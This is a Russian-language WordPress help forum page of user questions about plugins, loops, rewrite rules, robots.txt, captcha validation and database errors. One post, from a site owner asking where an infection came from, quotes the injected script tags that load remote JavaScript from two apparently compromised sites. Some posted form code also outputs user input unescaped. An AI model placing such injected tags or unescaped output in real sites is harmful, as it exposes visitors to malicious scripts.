Обсуждения

Пробллема с The Events Calendar

Подскажите пожалуйста, что может быть с The Events Calendar, если дело в нём!
При выставлении даты окончания события- приходиться ставить дату +1день, иначе в сетке календаря событие показывается на сутки меньше!!! А в анонсе(всплывающем при наведении на событие) прописываются
даты которые я ввожу….

русские символы в адресной строке

Здравствуйте, уважаемые знатоки WordPress и других web-премудростей.
Мне как-то тревожно, что у меня в адресной строке весь путь прописан по-русски. Пожалуйста, скажите, хорошо это или не очень?
Спасибо. (я – новичок). сайт http://krugloffm.ru/

Вывод комментариев в списке постов

Доброго дня, помогите вывести в этом лупе комментарии, посты кастомного типа выводятся а комменты нет:

query_posts(‘cat=’.$cat.’&post_type=vopot&posts_pe r_page=20′);
if(have_posts()){
while(have_posts()){
the_post(); ?>
<?php the_content(); ?>
<?php wp_list_comments( ); ?>
}}

SQl сервер падает

Добрый день, проблема следующая:

Есть файл в нем хранится около 7000 строк, я его считываю, разбираю, как мне нужно и пытаюсь записать в базу данных записей wp таким образом:

while (($row = fgetcsv($handle, 1000, ';')) !== false) {

$my_post = array(
'post_title' => $row[1],
'post_status' => 'publish',
'post_type' => 'my_type'
);
$id_podsh=wp_insert_post( $my_post );
update_post_meta($id_podsh, 'id', $row[0]);
update_post_meta($id_podsh, 'for_search', $row[2]);
update_post_meta($id_podsh, 'zavod', $row[3]);
update_post_meta($id_podsh, 'cost_1', $row[4]);

}fclose($handle);

Получается создаю запись записываю ей title и 4 произвольных поля, но сервер базы данных по окончанию сего действия падает и пишит #2006 – MySQL server has gone away

Может есть, какая то возможность оптимизировать wp запрос?

Помогите сделать проверку КАПЧА

Доброго времени суток.
На сайте есть некая произвольная форма.
Я туда всунул отображение скрипта КАПЧА т.к. сказано в редми

<?php if( function_exists( 'cptch_display_captcha_custom' ) ) {
 echo "<input type='hidden' name='cntctfrm_contact_action' value='true' />";
 echo cptch_display_captcha_custom(); } ?>

сделал проверку ввода кода таким образом:

    if(trim(empty($_POST['cptch_check_custom_form']))) {
        $IsError2 .= __('- код.\n', 'vip-crea');
        $hasError2 = TRUE;
    } else {
        if(function_exists('stripslashes')) {
            $capt2 = stripslashes(trim(strip_tags($_POST['cptch_check_custom_form'])));
        }
    }

И тут возникла проблема, даже если ввожу верный код капчи, то форма не отсылает данные.

Вот полный код страницы:

<?php 
$hasError = FALSE;
$nosubmitted = TRUE;
if(isset($_POST['submitted'])) :
    $nosubmitted = FALSE;
    if(trim(empty($_POST['contactName']))) {
        $IsError = __('- ваше ім`я\n');
        $hasError = TRUE;
    } else {
        $name = trim($_POST['contactName']);
    }

    if(trim(empty($_POST['tel'])))  {
        $IsError .= __('- номер телефону\n');
        $hasError = TRUE;
    } else {
        $tel = trim($_POST['tel']);
    }

    if(trim(empty($_POST['message']))) {
        $IsError .= __('- коментар або запитання.\n');
        $hasError = TRUE;
    } else {
        if(function_exists('stripslashes')) {
            $text = stripslashes(trim(strip_tags($_POST['message'])));
        } else {
            $text = trim(strip_tags($_POST['message']));
        }
    }


    if(trim(empty($_POST['from-time']))) {
        $IsError .= __('- зателефонувати з\n');
        $hasError = TRUE;
    } else {
        $fromtime = trim($_POST['from-time']);
    }


    if(trim(empty($_POST['to-time']))) {
        $IsError .= __('- зателефонувати до\n');
        $hasError = TRUE;
    } else {
        $totime = trim($_POST['to-time']);
    }





    if(trim(empty($_POST['cptch_check_custom_form']))) {
        $IsError .= __('- захисний код.\n', 'vip-crea');
        $hasError = TRUE;
    } else {
        if(function_exists('stripslashes')) {
            $capt = stripslashes(trim(strip_tags($_POST['cptch_check_custom_form'])));
        }
    } 




if($hasError === FALSE) {
$fullmessage = '
<style type="text/css">
table {text-align: centr; background:#000000;}
th, td {padding: 4px 4px;}
th {background:#000000;color:#FFF;}
td {background:#EEE;color:#000;}
</style>
<center>
<table border="0" bgcolor="#dadada" width="80%" align="center">
  <tr cellpadding="10">
    <th width="180px">'. __('Ім`я').'</th><td>'.$name.'</td>
  </tr>
  <tr><td colspan="2"><hr size="3" color="#909090"></td></tr>
  <tr>
    <th width="180px">'. __('Телефон').'</th><td>'.$tel.'</td>   
  </tr>
  <tr><td colspan="2"><hr size="3" color="#909090"></td></tr>
  <tr>
    <th width="180px">'. __('Коментар').'</th><td>'.$text.'</td>    
  </tr>
  <tr><td colspan="2"><hr size="3" color="#909090"></td></tr>
  <tr>
    <th width="180px">'. __('Зателефонувати з').'</th><td>'.$fromtime.' год.</td>    
  </tr>
  <tr><td colspan="2"><hr size="3" color="#909090"></td></tr>
  <tr>
    <th width="180px">'. __('Зателефонувати до').'</th><td>'.$totime.' год. </td>    
  </tr>
</table>
</center>';
add_filter('wp_mail_content_type',create_function('', 'return "text/html";'));    
$emailSend = wp_mail(get_bloginfo('admin_email'), 
                     'Зворотній дзвінок ['.get_bloginfo('name').']', 
                                          $fullmessage);
}
endif;
?>





                                <form id="contacts-form" action="#" method="post">

                                        
                                            <b>Зателефонуйте мені</b>
                                        
                                        <p>
                                            <input type="text" div id="f" name="contactName" value="" placeholder="Ваше ім'я" />
                                            <input type="text" div id="f"  name="tel" value=""  id="telephon" placeholder="Ваш телефон" />

<script type="text/javascript">
$('#telephon').bind("change keyup input click", function() {
    if (this.value.match(/[^0-9]/g)) {
        this.value = this.value.replace(/[^0-9]/g, '');
    }
});
</script>
                                        </p>
                                        <p>
                                            <textarea name="message" placeholder="Ваше запитання або коментар" ></textarea>
                                        </p>
                                        <p>Бажаний час дзвінка:<br>
                                        З:
                                        <select name="from-time">
                                           <option>1</option>
                                           <option>2</option>
                                           <option>3</option>
                                           <option>4</option>
                                           <option>5</option>
                                           <option>6</option>
                                           <option>7</option>
                                           <option>8</option>
                                           <option>9</option>
                                           <option>10</option>
                                           <option>11</option>
                                           <option>12</option>
                                           <option>13</option>
                                           <option>14</option>
                                           <option>15</option>
                                           <option>16</option>
                                           <option>17</option>
                                           <option>18</option>
                                           <option>19</option>
                                           <option>20</option>
                                           <option>21</option>
                                           <option>22</option>
                                           <option>23</option>
                                           <option>24</option>
                                        </select>


                                        До:
                                        <select name="to-time">
                                           <option>1</option>
                                           <option>2</option>
                                           <option>3</option>
                                           <option>4</option>
                                           <option>5</option>
                                           <option>6</option>
                                           <option>7</option>
                                           <option>8</option>
                                           <option>9</option>
                                           <option>10</option>
                                           <option>11</option>
                                           <option>12</option>
                                           <option>13</option>
                                           <option>14</option>
                                           <option>15</option>
                                           <option>16</option>
                                           <option>17</option>
                                           <option>18</option>
                                           <option>19</option>
                                           <option>20</option>
                                           <option>21</option>
                                           <option>22</option>
                                           <option>23</option>
                                           <option>24</option>
                                        </select>

                                        </p>
<br><hr>
<p><div id="captcha">
Введіть число: &nbsp&nbsp&nbsp <b><?php if( function_exists( 'cptch_display_captcha_custom' ) ) { echo "<input type='hidden' name='cntctfrm_contact_action' value='true' />"; echo cptch_display_captcha_custom(); } ?></b></div>
</p>


                                        <p>
                                            *Усі поля обов'язкові до заповнення
                                        </p>

                                        <p class="form-submit">
                                            <input name="submit" type="submit" id="submit" value="Надіслати">
                                            <input type="hidden" name="submitted" id="submitted" value="true" />
                                        </p>
                                </form>










                    <?php 
                        if ($nosubmitted === FALSE) {
                            if (($hasError === TRUE)or($emailSend === FALSE)) { 
                                echo '<script type="text/javascript">alert("'. __('Заповніть будь ласка поля:\n').''.$IsError.'");</script>';
                            }  elseif (($hasError === FALSE)and($emailSend === TRUE)) {
                                echo '<script type="text/javascript">alert("'. __('Дякуємо. Ми зателефонуємо Вам відразу як будемо мати можливість.').'");</script>';;

Помогите, пожалуйста.

Чем можно оттестировать .htaccess?

Я использую плагин BulletPruff Security. Возникла проблема с конфигурацией htaccess. Нет доступа к одному нужному файлу (error 403) с некоторых User-agent. Тестировать буду на Денвере.

1. как создавать обрашения (броузером) от разных (в идеале указываемых в ручную) юзер агентов?
2. как понять какое правило сработало в htaccess? Как htaccess от трассировать?

Спасибо!

метки(теги) и дубли от них, сайт WordPress

На сайте Wp из 20 реальных страниц, в индекс гугла попало более 200 страниц благодаря тегам(меткам), причем метки были подобраны как попало, на каждую статью свои новые метки, то есть в разных статьях разные метки которые практически не повторяются.

Как относится гугл к такому количеству меток и страниц от них, и что с этим делать. Можно ли эти метки удалить и нужно ли.

Как вообще правильно прописывать метки и нужны ли они вообще в современном мире?

Ps. В нете столько воды на эту тему, что толком понять что к чему невозможно. Заранее спасибо!

Ошибка связи с базой данных

Здравствуйте. Недавно купил сайт на вордпрессе с доменом, раньше с этой платформой не работал, закачал файлы сайта на хостинг, захожу на сайт, а там надпись ошибка связи с базой данных. Вот не пойму что делать, полазил по сайтам в поиске информации но не нашёл ничего что могло решить бы проблему. Может что посоветуете сделать, надо ли что менять в wp-config? Заранее спасибо!

Отблагодарю за помощь с url-ами

Есть сайт на ВП 3.4, мне нужно поменять многие структуры URL,
например, на bbPress чтобы вместо site.ru/forum/id/test-forum/ или site.ru/forum/topic/want-a-job на них можно было зайти через site.ru/forum/test-forum и site.ru/forum/test-forum/want-a-job соответственно, но или хотя бы что-то похожее.

Что конкретно я хочу:

некоторые рерайты можно просто захардкодить
site.com/events // page with post_name = "events"
site.com/about // page with post_name = "about"
site.com/forum // page with post_name = "forum"

site.com/forum/[forumname] // post_type = "forum" and post_name = [forumname]
site.com/forum/[forumname]/[topicname] // post_type = "topic" and post_name = [topicname]
site.com/[0-9]+ // только главная с пагинацией
site.com/[category] // воспринимается только как категория, а не пост
site.com/[category]/[0-9]+ // категория с пагинацией
site.com/[category]/[postname] // пост

и некоторые другие

Я прочитал кучу туториалов по rewrite rules в WP. Изменил некоторые функции в /wp-includes/rewrite.php, попробовал написать плагин, который убирает все rules и добавляет мои. В конце концов, когда я делаю flush_rules и вывожу $wp_rewrite->rewrite_rules(), мне выдает следующее:

"^([0-9]{1,})/?$" => "index.php?&paged=$1",
"^([^0-9]+)/?$" => "index.php?name=$1"

но оно не работает как надо.

Когда я ввожу site.com/3 или site.com/4, мне выдается только index page как если бы это было site.com/page/1. Если ввожу site.com/2, происходит редирект на пост site.com/2011-08-01-07-30-11/

То, что я хочу хотя бы возможно? Может я что-то упускаю? Подскажите, где копаться, отблагодарю.

Что на самом деле запрещает robots.txt ?

Посмотрела рекомендованный robots.txt в кодексе:

User-agent: *
Disallow: /cgi-bin/
Disallow: /wp-admin/
Disallow: /wp-includes/
Disallow: /wp-content/plugins/
Disallow: /wp-content/cache/
Disallow: /wp-content/themes/
Disallow: /trackback/
Disallow: /feed/
Disallow: /comments/
Disallow: /category/*/*
Disallow: */trackback/
Disallow: */feed/
Disallow: */comments/
Disallow: /*?
Allow: /wp-content/uploads/

Отсюда вопросы к знатокам SEO и wordpress:

1. Почему все эти строки не заменить одной: Disallow: /wp-* ?

Disallow: /wp-admin/
Disallow: /wp-includes/
Disallow: /wp-content/plugins/
Disallow: /wp-content/cache/
Disallow: /wp-content/themes/

2. Что именно запрещают эти директивы?

Disallow: /trackback/
Disallow: */trackback/

Disallow: /*?*
Disallow: /*?
Disallow: /?

Я на своих сайтах не нашла ни одной страницы, в URL’е которой есть слово "trackback" или "?".

3. Почему в robots.txt должно быть два варианта URL’ов с feed?

Disallow: /feed/
Disallow: */feed/

4. То же самое, касательно этих директив:

Disallow: /comments/
Disallow: */comments/

Какие страницы они запрещают?

Явно не отдельные комментарии. Комментарии имеют в URL’ах окончание #comment-5178.

Почему нужны два варианта этих страниц?

Или в robots.txt обычно указывают все возможные варианты, не заморачиваясь тем, есть ли они на сайте или нет?

Буду очень благодарна, если кто то знает ответы на эти вопросы и поможет мне разобраться.

Помогите! Не могу зайти в админку.

Помогите пожалуйста решить проблему. Не могу зайти в админку выходит сообщение после набора логина и пароля

"Попытка активировать плагин subscribe-to-comments.php не удалась.
Пожалуйста, попробуйте ещё раз."

Как можно решить эту проблему?

Заранее благодарю.

Обработчик формы выпадающих списков

Здравствуйте
Есть блог на WP. В нем куча записей. На страницах выводится форма с тремя выпадающими списками, в этих списках – теги (метки) записей:

<form action="vybor.php" method="get" name="vyborka">

    Ширина профиля
   <select size="1" id="shirina">
    <option value="0" selected>&nbsp;</option>
    <option value="145">145</option>
    <option value="155">155</option>
    <option value="165">165</option>
    <option value="175">175</option>
    <option value="185">185</option>
    <option value="195">195</option>
    <option value="205">205</option>
    <option value="215">215</option>
    <option value="225">225</option>
    <option value="235">235</option>
    <option value="245">245</option>
    <option value="255">255</option>
   </select>

   Высота профиля
   <select size="1" id="vysota">
    <option value="0" selected>&nbsp;</option>
    <option value="40">40</option>
    <option value="45">45</option>
    <option value="50">50</option>
    <option value="55">55</option>
    <option value="60">60</option>
    <option value="65">65</option>
    <option value="70">70</option>
    <option value="75">75</option>
    <option value="80">80</option>
   </select>

    Диаметр
   <select size="1" id="diametr">
    <option value="0"  selected>&nbsp;</option>
    <option value="R12">12</option>
    <option value="R13">13</option>
    <option value="R14">14</option>
    <option value="R15">15</option>
    <option value="R155">15,5</option>
    <option value="R16">16</option>
    <option value="R17">17</option>
    <option value="R175">17,5</option>
    <option value="R18">18</option>
   </select>
   
   <input type="submit" value="Подобрать" onclick="tagsubmit(); return false;">
 
   
</form>

Совсем не могу сделать обработчик php для этих трех выпадающих списков. Нужно чтобы он выводил все записи, с метками, выбранными в этих выпадающих списках. Чтоб в командной строке было tag1+tag2+tag3

Что то на эту тему здесь же на форуме было: http://forum.maxsite.org/viewtopic.php?id=4315
но там вроде на джаваскрипте решение предлагалось.

Помогите сделать обработчик?

Вот еще очень похожая тема, но не хватает знаний подогнать для своих нужд: http://kiberstos.ru/vyborka-po-neskolkim-tegam-v-wordpress

Ищу плагин рейтингового голосования

Обращаю внимание, что речь не о рейтинге постов, а о голосовании, как в обычном опросе, где создаётся вопрос и произвольные ответы, но с возможностью расставить в каждом ответе соответствующий балл или перетащить ответы на нужные позиции.
Важно:
1. Балльная система рейтинга (или реализация перетаскиванием).
2. Отсутствие необходимости регистрации на сторонних сервисах и хранения там данных опросов.
3. Ещё раз, рейтинг не постов (страниц, комментариев), а ответов на вопрос или произвольных величин.

Loop-цикл без дубликатов постов

Добрый день

Версия 3.6.1
Сайт: cinematone.kz

Прошу помощи, реализован вывод постов портфолио через loop цикл. Посты выводятся из рубрики Портфолио и ее подрубрик. Кусок листинга loop следующий:

<?php $my_query = new WP_Query($args); 
if (in_category('4'))
    {
echo '<div id="spisok"><ul>';
$args=array(  
  'orderby' => 'name',  
  'order' => 'DESC',
'child_of'=> 4,
  );  
$categories=get_categories($args);  
echo '<li><a href="'.get_category_link(4).'">Все</a></li>';
  foreach($categories as $category) {  
    echo '<li><a href="' . get_category_link( $category->term_id ) . '" title="' . sprintf( __( "View all posts in %s" ), $category->name ) . '" ' . '>' . $category->name.'</a></li>';  
    } ;
echo'</ul></div><div id="clear"></div>';


while ( have_posts() ) : the_post(); ?>
    <!-- блок портфолио-->
        <div class="cat-service">
        <h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
        <div id="thumb"><?php the_post_thumbnail(); ?></div>
        <div class="cat-service-info">
            <div class="cat-service-comments"> <i>Комментариев к посту:&nbsp;</i>
                <a href="<?php the_permalink() ?>#comments">  
    <?php comments_number('0', '1', '%'); ?>  
</a> 
            </div>
<div id="cat-service-sep"><i>Находиться в:</i></div><?php the_category()?></div>
        </div>
        <?php endwhile;
}
....

ссылка на портфолио – http://cinematone.kz/category/portfolio/

Проблема в том, что если статья находится в нескольких подрубриках включая саму рубрику Портфолио, то она дублируется по количеству рубрик при выводе в портфолио, а при переходе по подрубрикам портфолио статьи не дублируются, loop нормально отрабатывает. Как можно из цикла loop исключить дубликаты статей?

Подскажите какое-нить решение 😀 . Спасибо

Некорректное меню сайта в Ie

Сайт – http://ekaterinagorokhova.com/ В Opera и Crome все отображается правильно. В Internet Explorer тоже все было раньше ок. А сейчас в Internet Explorer 9 меню находится слева (а должно быть посередине), шрифт и цвет текста меню неправильный. Подскажите, пожалуйста, что делать?

Интернет-магазин без системы заказов

Добрый день, необходимо реализовать интернет-магазин, по сути являющийся сайтом-визиткой без системы заказов.
То есть чтобы категории и товары отображались галереей из картинок-ссылок с легким механизмом добавления товара в новую категорию, но без корзины и тд. Посоветуйте пожалуйста плагин!

Заранее очень благодарен

Запрет дублирования виджета.

Добрый день.. Написал виджет для wp – теперь хочу запретить чтобы его нельзя было 2 раза в сайдбары выводить… как такое реализовать… какую проверку использовать лучше всего?

p.s. если возникнет вопрос – зачем – отвечу что виджет – фильтр для магазина – а 2 раза выводить фильтр для магазина смысла никакого нет…

Откуда идет заражение,вирусом – psy-ufa.ru?

Рад приветствовать всех!
У меня такого рода вопрос: "Откуда идет заражение сайта, вирусом – psy-ufa.ru?"
Дело в том, что мой сайт на вордпрессе был заражен – в шаблоне появились вредоносные скрипты.
Пример скрипта:

<script type="text/javascript" src="http://psy-ufa.ru/wp-includes/images/wlw/1/404.php"></script><script type="text/javascript" src="http://master-style.ru/js/tiny_mce/plugins/emotions/img/1/404.php"></script>

Сайт я вылечить смог, однако мне хотелось бы узнать откуда растут корни у этого вируса. Искал в инете инфу – ничего особенного не нашел, говорят что проблема может в плагине или в бесплатной теме. Также я узнал, что с этой проблемой часто люди сталкиваются…
Так давайте же выясним откуда у него растут корни(в контексте появления вируса) и решим эту проблему вместе и впредь другим будет легче, согласитесь?!
Наверняка ведь кто-то сталкивался с этой проблемой?

Last-Modified и If-Modified-Since

Доброго всем дня. Я тут с помощью вот этого сервиса: http://last-modified.com/ru узнал, что страницы моего блога: http://alliance.zp.ua не отдают информацию Last-Modified и If-Modified-Since, а как известно это очень полезные и востребованные поисковиками функции.
Подскажите пожалуйста, что и куда можно прописать в вордпрессе, что-бы информация об изменениях страниц отдавалась поисковикам?

Не отображаётся тело поста (single.php)

Добрый день!
Делаю сайт с нуля, то-есть шаблон полностью мой.
Все нормально работало и выводило, пока я не решил настроить ЧПУ(начальство приказало).
Все нормально работает. Однако перестало выводится полная версия поста (single.php).
Выводится так(работало пока ЧПУ не включил):

                    <?php
                        if (have_posts()) : while (have_posts()) : the_post(); 
                    ?>
                    <?php the_title(); ?>
                    <br />
                    <?php the_content(); ?>
                    <?php endwhile; else: echo '<li><h1>В этой рубрике пока нет записей</h1></li>'; endif; ?>

В данный момент оно выводит пост с совершенно другой рубрики.
УРЛ поста имеет такой вид: http://karpol.by/testpost/
Файл .htaccess:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

В файле archive.php выводится все хорошо.

                
                <h1 class="search">
                <?php echo get_the_category_by_ID($cat) ?></h1>
                <p>
                    <i>
                        <?php echo category_description($cat) ?>
                    </i>
                </p>
                <ul class="cat">
                    <?php
                        query_posts("cat=$cat&showposts=1000");
                        if (have_posts()) : while (have_posts()) : the_post(); ?>
                    <?php
                    $k = get_the_category($post->ID);
                    if ( $k[0]->cat_ID == $cat ) {
                ?>
                    <li>
                        <?php
                            echo '<a href="'; the_permalink(); echo '">';
                            the_title();
                            echo '</a> - ';    the_time('j F Y');
                        ?>
                    </li>
                <?php } ?>
                <?php endwhile; else: echo '<li><h1>В этой рубрике пока нет записей</h1></li>'; endif; ?>
                </ul>

Есть у меня подозрение что вордпресс не перехватывает родительскую рубрику поста.

Anonymous
Отправить
Ответ на: